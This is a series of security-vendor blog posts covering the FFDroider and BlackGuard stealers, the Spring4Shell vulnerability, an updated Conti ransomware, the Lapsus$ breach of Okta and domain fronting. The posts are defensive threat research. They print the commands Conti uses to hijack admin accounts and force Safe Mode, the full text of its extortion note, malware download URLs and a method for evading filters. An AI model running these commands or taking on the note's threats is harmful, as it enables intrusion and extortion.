The module is written onto the disk in the previously created “VlcpVideov1.01” directory as “install.exe”. Figure 35: Malware sends request to the Update server to upgrade itself in a fixed interval of time. Debugging Functionality: During the process of reverse engineering the malware, we came across a functionality which was developed by the malware authors to debug the malware. If the filename at the time of execution is test.exe then the malware goes into its debug state and pops up messages on every loop where in, it prints out the stolen cookies and the final json body which is to be sent to the C&C from each and every browser for the target websites as shown in the screenshot below. Figure 36: Debugging functionality implemented by the malware authors Cloud Sandbox detection Figure 37: The Zscaler Cloud Sandbox successfully detected the malware. In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels Win32.PWS.FFDroider Conclusion Over the years, Stealer’s became one of the most commonly used malware in any cyber attack campaign. The Zscaler ThreatLabz team will continue to monitor this attack, as well as others, to help keep our customers safe. Mitre table T1055 Process Injection T1027 Obfuscated Files or Information T1027-002 Software Packing T1003 OS Credential Dumping T1016 System Network Configuration Discovery T1018 Remote System Discovery T1057 Process Discovery T1082 System Information Discovery T1083 File and Directory Discovery T1005 Data from Local System Indicators of Compromise: Hash: beb93a48eefd9be5e5664754e9c6f175 e8c629383fe4b2c0cbf57b0d335fc53f 6a235ccfd5dd5e47d299f664d03652b7 b11fd571c6cc4b8768f33a2da71fbb6e URL: download[.]studymathlive[.]com/normal/vinmall880[.]exe download[.]studymathlive[.]com/normal/lilay[.]exe download[.]studymathlive[.]com/install/vinmall1[.]exe?_sm_byp=iVVkm23V4sqBFtNM download[.]studymathlive[.]com/install/vinmall1[.]exe?_sm_byp=iVVJWHH51nHRJTzP Appendix: FFDroider Stealer String Decryption Python Code - Wed, 06 Apr 2022 08:24:48 -0700 Avinash Kumar Analysis of Spring Cloud Framework Vulnerabilities Background: Over the past few days, the Zscaler ThreatLabz team has been closely monitoring the reports of potential RCEs in Spring Cloud Framework and Spring Cloud Function. Spring is an open-source lightweight Java platform which many developers use as their application development framework. As part of the Spring echo system, Spring Cloud is a component using which one can write cloud agnostics code or develop applications and make them working on well known cloud services such as AWS, Azure, Alibaba etc. The Spring Cloud Function is one of the subcomponents of Spring Cloud Function which enables developers to do serverless programming. Leveraging from our internal research and the published articles, github posts and POCs, at the moment our understanding is that there could potentially be more than one issue in Spring Cloud Framework and sub-component Spring Cloud Function. At the moment, we are discussing two issues/vulnerabilities here. CVE-2022-22963 - Spring Expression Resource Access Vulnerability which can provide access to the critical systems/resources to the unauthenticated adversary. At the moment it is categorized as a medium severity issue. CVE-2022-22965 aka Spring4Shell or SpringShell - Spring Framework RCE via Data Binding on JDK 9+. This vulnerability is categorized as Critical. What are the issues? 1. CVE-2022-22963 Spring Expression Resource Access Vulnerability was found in Spring Cloud Function versions 3.1.6 and 3.2.2 or prior. The adversaries can exploit this vulnerability by sending a crafted HTTP request packet with the specific HTTP header named,, in the HTTP request packet. This parameter is treated as SpEL expression when the routing is in use. Vulnerable version of the Spring Cloud Function, while parsing this specific HTTP header,, along with the malformed SpEL expression, can allow an adversary to gain access to the critical resources on servers, systems which can allow adversary to perform further malicious activities. The vulnerability has been classified as “medium” at the moment. However, the actual impact of exploiting this vulnerability is unknown. Vulnerable versions for CVE-2022-22963: Spring Cloud Function versions between 3.1.6 or prior and 3.2.2 or prior seem to be vulnerable to the Expression Resource Access Vulnerability. Spring Foundation Version Patched for CVE-2022-22963: The Spring Foundation version 3.1.7 and 3.2.3 have been released to patch this critical vulnerability. Zsclaer strongly recommends upgrading to these versions depending on what current version of Spring Foundation is deployed. 2. CVE-2022-22965 [Spring4Shell OR SpringShell] There is a severe Remote Code Execution vulnerability in Spring Core JDK9+. This vulnerability can allow an unauthenticated attacker to execute arbitrary code on the target system. As per the sources available publicly, exploiting this vulnerability in certain configurations is relatively easier because it can be exploited with just simple crafted HTTP requests when sent to a vulnerable server. While in other configurations, it may not be that easy for an adversary to exploit and may require him/her to perform additional research. To exploit this vulnerability, the vulnerable system should have DataBinder enabled, and exploitation depends majorly on the Servlet container of the application. As per the researcher who confirmed the exploitation, when Spring is deployed to Apache Tomcat, the WebAppClassLoader is accessible, which allows an attacker to call getters and setters and can write a malicious file to disk. However, if Spring is deployed using the Embedded Tomcat Servlet Container, the classloader is a LaunchedURLClassLoader which has limited access. The details on the vulnerability and possible exploitation through a proof-of-concept is described here. Mitigations CVE-2022-22963 Users of affected versions should upgrade to 3.1.7, 3.2.3. Releases that have fixed this issue include: Spring Cloud Function - 3.1.7 - 3.2.3 CVE-2022-22965 Users of affected versions should apply the following mitigation: 5.3.x users should upgrade to 5.3.18+, 5.2.x users should upgrade to 5.2.20+. There are other mitigation steps for applications that cannot upgrade to the above versions. Releases that have fixed this issue include: Spring Framework - 5.3.18+ - 5.2.20+ Best Practices/Guidelines To follow: Limit the impact from a potential compromise by restricting lateral movement with identity-based micro-segmentation (Zscaler Workload Segmentation) and a Zero Trust architecture. Safeguard crown jewel applications by limiting lateral movement using Zscaler Private Access, especially with application security modules turned on. Route all server traffic through Zscaler Private Access with additional application security module enabled and Zscaler Internet Access, which will provide the right visibility to identify and stop malicious activity from compromised systems/servers. Restrict traffic to the critical infrastructure from the allowed list of known-good destinations. Ensure you are inspecting all SSL traffic. Turn on Advanced Threat Protection to block all known command-and-control domains. This will provide additional protection in case the adversary exploits this vulnerability to implant malware. Extend command-and-control protection to all ports and protocols with the Advanced Cloud Firewall (Cloud IPS module), including emerging C2 destinations. Again, this will provide additional protection in case if the adversary exploits this vulnerability to implant malware. Use Advanced Cloud Sandbox to prevent unknown malware delivered as part of a second stage payload. Zscaler Coverage: Zscaler’s ThreatLabZ team has deployed protection for all known POCs for these vulnerabilities. Advanced Threat Protection HTML.Exploit.Spring4Shell HTML.Exploit.CVE-2022-22963 Zscaler Private Access w/ Application Security HTML.Exploit.CVE-2022-22963 HTML.Exploit.Spring4Shell Additional References: 1. 2. 3. 4. 5. 6. 7. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Thu, 31 Mar 2022 13:26:23 -0700 Jithin Nair Conti Ransomware Attacks Persist With an Updated Version Despite Leaks In late January 2022, ThreatLabz identified an updated version of Conti ransomware as part of the global ransomware tracking efforts. This update was released prior to the massive leak of Conti source code and chat logs on Februrary 27, 2022. The leaks were published by a Ukrainian researcher after the invasion of Ukraine. However, since these leaks were published, the Conti gang has continued to attack organizations and conduct business as usual. While two versions of Conti source code have been leaked, the most recent ransomware code has not yet been leaked. This blog will highlight the most recent changes to the ransomware and how Conti improved file encryption, introduced techniques to better evade security software, and streamlined the ransom payment process. Technical Analysis The most recent Conti update introduced a number of new features and changes to the ransomware code. Some of these modifications include new command-line arguments that are highlighted in bold in Table 1. Command-Line Argument Description -log Previously used to log ransomware actions; this functionality has been removed, but the command-line switch remains an artifact from the previous version -path Start encryption using the specified path as the root directory -size Size parameter for large file encryption -mode Encryption mode local (disks) or net (network shares); the all and backups options were removed -user Log in to Windows Safe Mode as the specified user -pass Log in to Windows Safe Mode as the user with the corresponding password -safeboot Force reboot the system and launch Conti in Windows Safe Mode -disablesafeboot Disable Windows Safe Mode and reboot the system (used after file encryption occurs in Windows Safe Mode) -nomutex Previously used to prevent the creation of a mutex; currently unused Table 1. Conti command-line arguments updated in January 2022 The functionality for the command-line arguments -log and -nomutex was removed. The new command-line parameters that were added are related to features that enable Conti to reboot the system in Windows Safe Mode with networking enabled and then start file encryption. By booting in Safe Mode, Conti can maximize the number of files that are encrypted, because business applications such as databases are likely not running. Therefore, those applications will not have open file handles that could prevent file encryption. In addition, many security software applications (e.g., antivirus programs) will not be loaded by default when the system is running in Safe Mode. The ability to encrypt files in Windows Safe Mode is a feature that has been observed in other ransomware families including REvil and BlackMatter. If the -safeboot command-line argument is provided together with the -user and -pass parameters, Conti will use these values to automatically log in with the specified credentials when the system is rebooted into Safe Mode. This is performed by setting the registry values under HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon to the following: AutoAdminLogon = 1 DefaultUserName = <username> DefaultDomainName = <computer_name or domain_name> DefaultPassword = <password> The -user argument is expected to be in the format: <domain_name>\<username>. If the -safeboot command-line argument is passed by itself (without the -user and -pass parameters), Conti will search for users that have administrator privileges by searching for the security identifier (SID) prefix S-1-5-21 with the relative identifier (RID) -500. If Conti is able to locate an administrator account, Conti will execute the command cmd.exe /c net user <admin> /active:yes to make sure the account is enabled. Conti will then attempt to change the password for this account to an empty string by executing the command cmd.exe /c net user <admin> "". The corresponding registry values will then be set to automatically log in as the administrator in Safe Mode when the system is rebooted. Figure 1 shows example registry values set after an administrator account has been set up to automatically log in. Figure 1. Example Windows registry modifications made by Conti to automatically log in as an administrator In order to execute Conti when the system is booted into Safe Mode, a registry value is created under HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce with the name *conti and the value <path_to_conti_executable> -disablesafeboot. Conti then executes the command bcedit.exe /set {current} safeboot network and forces a system reboot by calling the Windows API function ExitWindowsEx(). This will launch Windows in Safe Mode with networking enabled as shown in Figure 2. The network mode is enabled, so that Conti can still be used to encrypt files on network shares. Figure 2. Conti booting Windows into Safe Mode with networking enabled to encrypt files After Conti has completed file encryption in Safe Mode, it executes the command bcedit.exe /deletevalue {current} safeboot and reboots the system. Conti's file encryption algorithms remain the same as previous versions with a per file random 256-bit ChaCha symmetric key. Each file's ChaCha key is protected by a hardcoded victim-specific 4,096-bit RSA public key. The new Conti update also added the ability to change desktop wallpaper by writing an embedded PNG file to C:\ProgramData\conti.png. An example of the Conti wallpaper image is shown in Figure 3. Figure 3. Conti PNG image used to set the victim’s desktop wallpaper after file encryption The feature to change the wallpaper after file encryption is very common among ransomware families to further attract the attention of victims. In order to hinder malware analysis, Conti dynamically resolves most Windows API functions by using a hash algorithm. In the previous version of Conti, the hash algorithm was Murmur2, while the latest version now uses Murmur3. This produces different hash values for all API functions that are used by Conti, which may evade security software that searches for the corresponding hash values. Conti also updated the encrypted file extensions to include uppercase and lowercase characters and numbers. The following file extension examples have been observed in recent Conti samples: .ZG7Ak .wjzPe .LvOYK .C5eFx .fgM9X This encrypted file extension modification may be designed to bypass endpoint security software that could identify the previous Conti ransomware pattern that used five uppercase letters. Conti also updated the ransom note and TOR hidden service URL. An example of a recent Conti ransom note is shown below: All of your files are currently encrypted by CONTI strain. If you don't know who we are - just "Google it." As you already know, all of your data has been encrypted by our software. It cannot be recovered by any means without contacting our team directly. DON'T TRY TO RECOVER your data by yourselves. Any attempt to recover your data (including the usage of the additional recovery software) can damage your files. However, if you want to try - we recommend choosing the data of the lowest value. DON'T TRY TO IGNORE us. We've downloaded a pack of your internal data and are ready to publish it on our news website if you do not respond. So it will be better for both sides if you contact us as soon as possible. DON'T TRY TO CONTACT feds or any recovery companies. We have our informants in these structures, so any of your complaints will be immediately directed to us. So if you will hire any recovery company for negotiations or send requests to the police/FBI/investigators, we will consider this as a hostile intent and initiate the publication of whole compromised data immediately. To prove that we REALLY CAN get your data back - we offer you to decrypt two random files completely free of charge. You can contact our team directly for further instructions through our website : TOR VERSION : (you should download and install TOR browser first https://torproject[.]org) http://contirec7nchr45rx6ympez5rj...vaeywhvoj3wad[.]onion/<victim_path> YOU SHOULD BE AWARE! We will speak only with an authorized person. It can be the CEO, top management, etc. In case you are not such a person - DON'T CONTACT US! Your decisions and action can result in serious harm to your company! Inform your supervisors and stay calm! The new Conti ransom note is streamlined with a direct link to a victim-specific chat portal. Prior versions required a victim to access the portal and then upload their ransom note, which contained a unique identifier. The latest Conti portal contains a landing page that instructs the user to follow the instructions in the README.txt file that is written to disk after file encryption. It no longer supports a victim uploading the ransom note to authenticate as shown in Figure 4. Figure 4. Updated Conti ransom portal landing page Conclusion In January 2022, Conti introduced new features to bring feature parity with other ransomware families including the ability to encrypt files in Windows Safe Mode and change the desktop wallpaper. Despite the group's source code and chat logs being leaked online in February 2022, Conti continues to conduct ransomware attacks against large organizations. ThreatLabz expects the Conti gang to further update the malware and potentially rebrand as the source code leaks have damaged their reputation and may lead to other criminal groups forking the code. Zscaler Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Ransom.Conti Win64.Ransom.Conti Indicators of Compromise SHA256 Description fca8d48afa7e5535fb71fd22225e86602d47dcfa5a4924fcbc33aecd9c945847 Conti ransomware 16cc7519945bace49ef729e69db7d19e00252f2bd559903e1631c8878c2360f4 Conti ransomware e6818bf8c6d20501485fc0cc644d33fcea4bd9a3b45c5d61e98317bda5c080c4 Conti ransomware 182f94d26de58b8b02ddf7223f95d153b5e907fa103c34ed76cae2c816f865f0 Conti ransomware e950c625a94ce9e609778fcc86325530774e45572ff58ebc6549e2627941b5cc Conti ransomware About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Fri, 25 Mar 2022 09:54:38 -0700 Brett Stone-Gross Lapsus$ Attack on Okta: How to Evaluate the Impact to your Organization Microsoft and Okta disclosed breaches this week involving Lapsus$, a cybercrime group that has made headlines multiple times in recent months for attacks against corporations including NVIDIA, Ubisoft, Samsung, and Vodafone. The group specializes in stealing and extorting data in exchange for a ransom payment. Lapsus$ is known to leverage low-tech but high-impact methods to gain access to organizations. Lapsus$ has used tactics such as social engineering, SIM swapping, and paying employees and business partners for access to credentials and multifactor authentication approvals. The first known extortion attempt by Lapsus$ included the Brazil Health Ministry in December of 2021. What happened in the Okta attack? According to a blog penned by the Okta CISO, here’s what happened: On January 20 2022, a third-party customer support engineer working for Okta had their account compromised by Lapsus$. Lapsus$ was seeking information on Okta customers, not Okta directly. The threat actor compromised information from up to 366 Okta customers. Per Okta, the data that was accessible in this breach was very limited – though it’s worth noting that Lapsus$ refuted this statement, claiming the ability to reset passwords and MFA factors. Per Okta, the incident was mitigated within hours of the initial compromise and is no longer a security risk. On March 22, 2022, Lapsus$ posted screenshots of their compromise to Telegram. Zscaler’s cloud is not at risk: After a thorough investigation, ThreatLabz determined that Zscaler has not been impacted by the Okta breach. While Zscaler does use Okta internally for employees as an Identity Provider (IDP), all access to our production environments requires multiple additional factors including hardware tokens not provided by Okta. You can read the ThreatLabz trust post here. Additionally, the Zscaler platform is built on a holistic zero trust architecture that offers defense-in-depth against supply chain and compromised user attacks, mitigating incidents such as this in the following ways: Eliminates lateral movement: Zscaler connects users directly to apps, not the network, to limit the blast radius of a potential incident. Shuts down compromised users and insider threats: If an attacker gains access to your identity system, we can prevent private app exploit attempts with in-line inspection and detect the most sophisticated attackers with integrated deception. Stops data loss: Zscaler inspects data-in-motion and data-at-rest to prevent potential data theft from an active attacker. ThreatLabz’ SOC playbook for Okta: The Zscaler Security team has developed a Security Operations Center (SOC) playbook for identity (IDP) providers, giving our security analysts and researchers fast track access to threat identification and remediation at the user level. Suspicious behaviors trigger a security action workflow: for example, moving a user to a higher-access security group, changing multi-factor authentication methods, or other anomalous and potentially dangerous user behaviors. A review of IDP logs for indicators of compromise associated with this attack should include the following steps: Review Okta admin/super admin account audit logs. Review cloud admin/super admin account audit logs. Review all executive accounts including MFA method changes. Review new Okta account creations and compare against employee onboarding. Review full Okta config to check for API access, logging configs, etc. Identify Okta accounts where MFA was disabled from January 1, 2022 to March 22, 2022. Identify the user and root cause of the disablement. Re-enable MFA for those accounts. Reset password for Okta admins. Reset 2-factor authentication for Okta superadmins. Rotate Okta-generated API tokens. Verify Okta Support access is disabled. Verify Directory Debugger access is disabled. Review all critical users' access levels. SOC Detection Rules for Okta The process to enable Threat Detection for Okta using a SOC Playbook should be well-defined with specific workflows and actions. Okta has pre-built log ingestion modules for many of the common SIEM solutions. Once events are ingested, a number of queries can be created and easily leveraged for signs of a potential compromise or other suspicious activities. While they are not a comprehensive set of queries, they serve as a solid starting point for a security investigation. Detection Name Detection Query MFA Deactivation Attempt event.dataset:okta.system and event.action:user.mfa.factor.deactivate MFA Reset Attempt event.dataset:okta.system and event.action:user.mfa.factor.reset_all MFA Push Brute Force Attempt sequence by with maxspan=10m [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.mfa.okta_verify.deny_push"] [any where event.module == "okta" and event.action == "user.authentication.sso"] MFA Bypass Attempt event.dataset:okta.system and event.action:user.mfa.attempt_bypass Account Login Brute Force Attempt event.dataset:okta.system and event.action:user.account.lock User Session Impersonation event.dataset:okta.system and event.action:user.session.impersonation.initiate Group Administrative Privilege Assignment event.dataset:okta.system and event.action:group.privilege.grant User Administrative Privilege Assignment event.dataset:okta.system and event.action:user.account.privilege.grant Policy Rule Modification event.dataset:okta.system and event.action:policy.rule.update Policy Rule Deletion event.dataset:okta.system and event.action:policy.rule.delete Policy Rule Deactivation event.dataset:okta.system and event.action:policy.rule.deactivate Guidance and Best Practices If you are an Okta customer, we encourage you to take the following steps to protect your business: Contact Okta to ensure your organization’s data wasn’t compromised. Rotate all credentials and ensure MFA is enabled for all users. Consider MFA methods not facilitated by Okta for critical systems including hardware-based tokens. Review logs in your Okta tenant from January to March of 2022 to look for suspicious activity, including password & MFA resets, user account email updates, admin privileges within your IDP tenant, and configuration changes. Continually review policies and procedures with any organization involved in your supply chain. Many organizations were potentially impacted by this incident. Run security incident preparedness exercises for incidents just like this (a primary Identity Provider compromise) to understand how to respond and what to communicate to whom and when. Learn more: join a live ThreatLabz briefing on Tuesday, March 22 and 9:30am PT for updated information on the Lapsus$ attack on Okta, a walkthrough of our SOC playbook, and zero trust strategies for preventing and mitigating damage from similar compromises in the future. Register now. About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Thu, 24 Mar 2022 15:04:49 -0700 Deepen Desai Analysis of BlackGuard - A New Info Stealer Malware Being Sold In A Russian Hacking Forum Introduction: Hacking forums often double up as underground marketplaces where cybercriminals buy, rent, and sell all kinds of malicious illegal products, including software, trojans, stealers, exploits, and leaked credentials. Malware-as-a-service has contributed substantially to the growth of ransomware and phishing attacks (among other attack types) in the past year, as they lower the technical barrier to entry for criminals to carry out attacks. While recently perusing one of these hacking forums during regular research activities, the Zscaler ThreatLabz team came across BlackGuard, a sophisticated stealer, advertised for sale. Blackguard is currently being sold as malware-as-a-service with a lifetime price of $700 and a monthly price of $200. BlackGuard has the capability to steal all types of information related to Crypto wallets, VPN, Messengers, FTP credentials, saved browser credentials, and email clients. In this blog, we share analysis and screenshots of the techniques this stealer uses to steal information and evade detection using obfuscation, as well as techniques used for anti-debugging. Fig 1. Forum thread promoting the BlackGuard stealer Technical Analysis: BlackGuard is a .NET stealer packed with a crypto packer. Currently, it is in active development and has the following capabilities: Anti-Detection: Once executed, it checks and kills the processes related to antivirus and sandbox as shown in the figure below. Fig 2. BlackGuard detects antivirus processes String Obfuscation: The stealer contains a hardcoded array of bytes which is decoded in runtime to ASCII strings followed by base64 decoding. This allows it to bypass antivirus and string-based detection. Fig 3. String decryption technique Anti-CIS: BlackGuard checks for the infected device country by sending a request to “” and exits itself if the device is located in the Commonwealth of Independent States (CIS). Fig 4. Whitelist CIS Anti-Debug: BlackGuard uses user32!BlockInput() which can block all mouse and keyboard events in order to disrupt attempts at debugging. Fig 5. Anti-debugging technique Stealing Function: After all the checks are completed, the stealer function gets called which collects information from various browsers, software, and hardcoded directories, as shown in the screenshot below. Fig 6. Stealer code Fig 7. Features Posted on forum Browsers: BlackGuard steals credentials from Chrome- and Gecko-based browsers using the static path. It has the capability to steal history, passwords, autofill information, and downloads. Fig 8. Browser stealing function Cryptocurrency Wallets: BlackGuard also supports the stealing of wallets and other sensitive files related to crypto wallet applications. It targets sensitive data in files such as wallet.dat that contain the address, the private key to access this address, and other data. The stealer checks for the default wallet file location in AppData and copies it to the working folder. Fig 9. Crypto wallet stealing function Crypto Extensions: This stealer also targets crypto wallet extensions installed in Chrome and Edge with hardcoded extension IDs as shown in the figure below. Fig 10. Crypto extensions stealing function C2 Exfiltration: After collecting the information, BlackGuard creates a .zip of all the files and sends it to the C2 server through a POST request along with the system information like Hardware ID and country as shown in the figure below. Fig 11. C2 Exfiltration code snippet Fig 12. Traffic capture of exfiltration Fig 13. Panel screenshot Targeted Applications: Browsers: Chrome, Opera, Firefox, MapleStudio, Iridium, 7Star, CentBrowser, Chedot, Vivaldi, Kometa, Elements Browser, Epic Privacy Browser, uCozMedia, Coowon, liebao, QIP Surf, Orbitum, Comodo, Amigo, Torch, Comodo, 360Browser, Maxthon3, K-Melon, Sputnik, Nichrome, CocCoc, Uran, Chromodo, Edge, BraveSoftware. Crypto Wallets: AtomicWallet, BitcoinCore, DashCore, Electrum, Ethereum, Exodus, LitecoinCore, Monero, Jaxx, Zcash, Solar, Zap, AtomicDEX, Binance, Frame, TokenPocket, Wassabi. Crypto Wallet Extensions: Binance, coin98, Phantom, Mobox, XinPay, Math10, Metamask, BitApp, Guildwallet, iconx, Sollet, Slope Wallet, Starcoin, Swash, Finnie, KEPLR, Crocobit, OXYGEN, Nifty, Liquality, Auvitas wallet, Math wallet, MTV wallet, Rabet wallet, Ronin wallet, Yoroi wallet, ZilPay wallet, Exodus, Terra Station, Jaxx. Email Clients: Outlook Other Applications: NordVPN, OpenVPN, ProtonVpn, Totalcomander, Filezilla, WinSCP, Steam Messengers: Telegram, Signal, Tox, Element, Pidgin, Discord Conclusion: While applications of BlackGuard are not as broad as other stealers, BlackGuard is a growing threat as it continues to be improved and is developing a strong reputation in the underground community. To combat against BlackGuard and similar credential theft malware, we recommend that security teams inspect all traffic and use malware prevention tools that include both antivirus (for known threats) and sandboxing capabilities (for unknown threats). We also recommend training end users on the following: Don’t use the same passwords for all the services and replace them on a regular cadence. Use multi-factor authentication where applicable. Avoid visiting unknown sites. Avoid opening suspicious unknown files. IOCs: Hashes: 4d66b5a09f4e500e7df0794552829c925a5728ad0acd9e68ec020e138abe80ac c98e24c174130bba4836e08d24170866aa7128d62d3e2b25f3bc8562fdc74a66 7f2542ed2768a8bd5f6054eaf3c5f75cb4f77c0c8e887e58b613cb43d9dd9c13 f2d25cb96d3411e4696f8f5401cb8f1af0d83bf3c6b69f511f1a694b1a86b74d bbc8ac47d3051fbab328d4a8a4c1c8819707ac045ab6ac94b1997dac59be2ece f47db48129530cf19f3c42f0c9f38ce1915f403469483661999dc2b19e12650b ead17dee70549740a4e649a647516c140d303f507e0c42ac4b6856e6a4ff9e14 1ee88a8f680ffd175943e465bf85e003e1ae7d90a0b677b785c7be8ded481392 71edf6e4460d3eaf5f385610004cfd68d1a08b753d3991c6a64ca61beb4c673a e08d69b8256bcea27032d1faf574f47d5412b6da6565dbe52c968ccecea1cd5d Domains: Zscaler coverage: We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox. Advanced Threat Protection: Win32.PWS.Blackguard Advanced Cloud Sandbox: Fig 14. Zscaler sandbox detection About ThreatLabz ThreatLabz is the security research arm of Zscaler. This world-class team is responsible for hunting new threats and ensuring that the thousands of organizations using the global Zscaler platform are always protected. In addition to malware research and behavioral analysis, team members are involved in the research and development of new prototype modules for advanced threat protection on the Zscaler platform, and regularly conduct internal security audits to ensure that Zscaler products and infrastructure meet security compliance standards. ThreatLabz regularly publishes in-depth analyses of new and emerging threats on its portal, Wed, 30 Mar 2022 21:58:12 -0700 Mitesh Wani Analysis of Domain Fronting Technique: Abuse and Hiding via CDNs What is Domain Fronting? Domain fronting is a technique in which a client conceals the true intended destination of an HTTPS request from censors and network security filters by “fronting” the request with a TLS connection to a different domain than that set in the request’s host header, both hosted on the same CDN service. In layman terms, an attacker hides an HTTPS request to a bad site inside a TLS connection to a good site. It is usually performed by using a domain name in the SNI extension field of the TLS header that is different from that in the HTTPS Host header field. Whenever a request to a domain is performed in the browser or other TLS client, the first thing that happens is establishing the network connection where TLS negotiation starts based on the hostname used to initiate the connection. The HOST header in the application layer traffic is only parsed and looked after all the lower layers are established. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. There are two aspects involved here: Hostname for the connection must match the SSL certificate and Web server or CDN should know how to serve the content for the alternate hostname for the actual desired service. Figure 1: Client and CDN Server interaction during Domain Fronting Industry Analysis Domain Fronting is leveraged by multiple services for legitimate usage and at Zscaler Cloud we have seen it primarily being leveraged in Technology, Manufacturing and Finance & Insurance sectors. Below is a snapshot of the weekly average request volume that was observed for various sectors for the past month. Figure 2: Average weekly Request Volume for different Industry sectors Uses and Abuse of Domain Fronting This technique has been extensively used to bypass censorship filters. Some CDNs have disabled support for Domain Fronting as they were used for serving malicious content. Major service providers like Google, Amazon, Telegram, etc. have disabled this support fearing that they might have their entire infrastructure blocked inside a country wanting to block one or more applications. Adversaries have been abusing domain fronting to take advantage of routing schemes in Content Delivery Networks (CDNs) hosting multiple domains to obfuscate the intended destination of HTTPS traffic. This is to set up a command and control (C2) channel for bypassing defensive techniques/tools that filter based on the reputation of the hostname used in initiating the connection request only instead of the one used in the HOST header of the subsequent requests in that session. Abuse of CDNs Azure, CloudFlare and Discord CDNs provide different kinds of services to host and deliver content. They are actively abused by the bad guys to serve malicious content. Coupled with Domain Fronting attacks, this creates a lethal attack vector to bypass the security defenses of a target enterprise network. Here are some of the recent domains/urls observed serving malicious content hosted on these CDNs. Figure 3: Malicious and Phishing Domains from Microsoft’s Azure CDN Figure 4: URLs from Discord CDN serving malware Figure 5: Malicious and Phishing Domains from CloudFlare CDN (trycloudflare) Figure 6: Malicious and Phishing Domains from another CloudFlare CDN ( Case Study As mentioned previously we have observed a few scenarios where CDNs are being abused. For example, consider this script hosted on Azure CDN at bingadssmartpage[.]azureedge[.]net/pages/coinbaselogin/config_-114304204234220470.js. If this domain has a known bad reputation, domain fronting can be leveraged to bypass simple SNI-based filters by creating a TLS connection to portal[.]msrc[.]microsoft[.]com as the front domain, requested in the SNI extension, and passing bingadssmartpage[.]azureedge[.]net as the value of the HOST header. In the below snapshots, this abuse can be observed clearly. The client first connects to portal[.]msrc[.]microsoft[.]com on port 443 and verifies the server certificate. After that the actual domain is used as part of the headers in the HTTP GET Request (HOST:bingadssmartpage[.]azureedge[.]net). And the response/script from the server by the client. Figure 7: Curl Request demonstrating Domain Fronting Figure 8: Javascript Response from the CDN after leveraging Domain Fronting Conclusion As domain fronting abuses legitimate or high-reputation domains to remain undetected by defenders, a legitimate site hosted on CDN can be leveraged by the bad actors to access other sites after the TLS connection is established. The owners of good reputation sites cannot prevent their hostnames being abused for this activity. Furthemore, the hosts of the reputable sites may not even be aware of the abuse, as the respective HTTPS traffic logs will be associated with the bad actor's account. While some CDN vendors have taken steps to block domain fronting directly on their infrastructure, others are still being exploited. The best defense against domain fronting in an enterprise organization is first and foremost a cloud-based SWG (Secure Web Gateway) service with unlimited TLS interception capacity. Once this prerequisite is met, the web proxy service must have the ability to detect/alert and block HTTPS requests with mismatching host headers and SNIs.. Zscaler Internet Access Detection Zscaler detects two variations of domain fronting and records the information in the weblogs that are made available in the Admin Portal Log Viewer and for live streaming to a SIEM through the Nanolog Streaming Service (NSS): TLS SNI mismatch with the HTTPS host header HTTP/S URL FQDN mismatch with the HTTP/S host header (for a less common domain fronting case previously seen in clear HTTP traffic) Figure 9: Domain fronting detection in the Web Insights Log Viewer Zscaler Internet Access Prevention Zscaler has previously released a feature for its customers to enable entire "Block Domain Fronting" traffic. After analyzing the domain fronting detection and the extent of FPs (false positives), enterprises should consider turning on the prevention setting. Figure 10: Feature to Block Domain Fronting in Zscaler Administration Settings. Note on Domain Hiding Domain hiding is a relatively newer technique (discussed in the two recent Defcon events) with similar censorship-circumvention/security filter-bypassing intent to that of the domain fronting, but with different mechanics. Domain hiding abuses the encrypted SNI (ESNI) TLS 1.3 optional extension proposed by Cloudflare several years ago. While ESNI may be well-intended (add one more layer of privacy to consumer web browsing), it can easily be exploited by bad guys to evade network security defenses when improperly configured or implemented. In a domain hiding attack, an adversary simply inserts the ESNI extension in addition to or instead of the SNI extension in a TLS Client Hello to a Cloudflare CDN server enabled with ESNI. The attacker can easily evade detection and policy enforcements in an enterprise organization that relies primarily on basic domain/SNI-based web filters. In essence, since basic web filters’ center of gravity is the SNI, the presence of the ESNI or the lack of the SNI can throw them off balance. While ESNI has obviously gained little to no adoption as evident from various data points, including 1) Cloudflare’s recognition of several design flaws and announcement of a replacement draft protocol extension (Encrypted Client Hello) and 2) from Zscaler’s unique traffic analysis: Figure 11: TLS connections with ESNI extension in a large sample set is close to 0 It is still important to call out the best defense against this threat and it relies on the same strategy that is effective in counteracting your classroom bullies - ignoring. First, as with domain fronting, you must ensure that you are performing maximum SSL interception. Second, the ESNI extension is ignored or “stripped” at the Zscaler TLS interception point and not passed to the destination server. Figure 12: ESNI stripping with Zscaler SSL interception enabled If both the ESNI (bad domain) and SNI (benign domain) are present, the Zscaler SSL proxy will pass only the SNI (benign domain) to the CDN server that will, in turn, respond with the certificate and content of the benign domain, defeating the circumvention attempt. If only the ESNI is present in the original client hello, neither an ESNI nor a SNI extension will be passed on to the CDN server. The CDN server will again serve a default server 